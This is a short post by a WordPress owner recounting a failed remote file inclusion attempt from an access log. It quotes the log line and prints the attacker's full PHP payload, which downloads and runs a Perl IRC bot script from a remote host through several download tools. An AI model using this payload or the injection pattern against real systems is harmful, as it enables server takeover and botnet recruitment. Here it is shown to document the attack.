I noticed someone/thing trying to do something nasty to my wordpress install. Good thing nothing happened.
px.ns1.net 217.9.84.137 - - [07/Sep/2006:19:25:33 -0700] "GET //tags/tags.php?BBCodeFile=http://208.10.22.70/spread.txt? HTTP/1.1" 404 37655 "-" "libwww-perl/5.79" -/- (-%) VLOG=-
The payload of the file is.
< ? passthru('cd /tmp;wget http://208.10.22.70/images/shbb.txt;perl shbb.txt;rm -f shbb.txt*'); passthru('cd /tmp;curl -O http://208.10.22.70/images/shbb.txt;perl shbb.txt;rm -f shbb.txt*'); passthru('cd /tmp;lwp-download http://208.10.22.70/images/shbb.txt;perl shbb.txt;rm -f shbb.txt*'); passthru('cd /tmp;lynx -source http://208.10.22.70/images/shbb.txt > shbb.txt ;perl shbb.txt;rm -f shbb.txt*'); passthru('cd /tmp;fetch http://208.10.22.70/images/shbb.txt > shbb.txt ;perl shbb.txt ;rm -f shbb.txt*'); passthru('cd /tmp;GET http://208.10.22.70/images/shbb.txt > shbb.txt ;perl shbb.txt ;rm -f shbb.txt*'); ? >
The file this script is attempting to retrieve; shbb.txt is a perl script, which runs an IRC bot that connects to an IRC server in brazil.
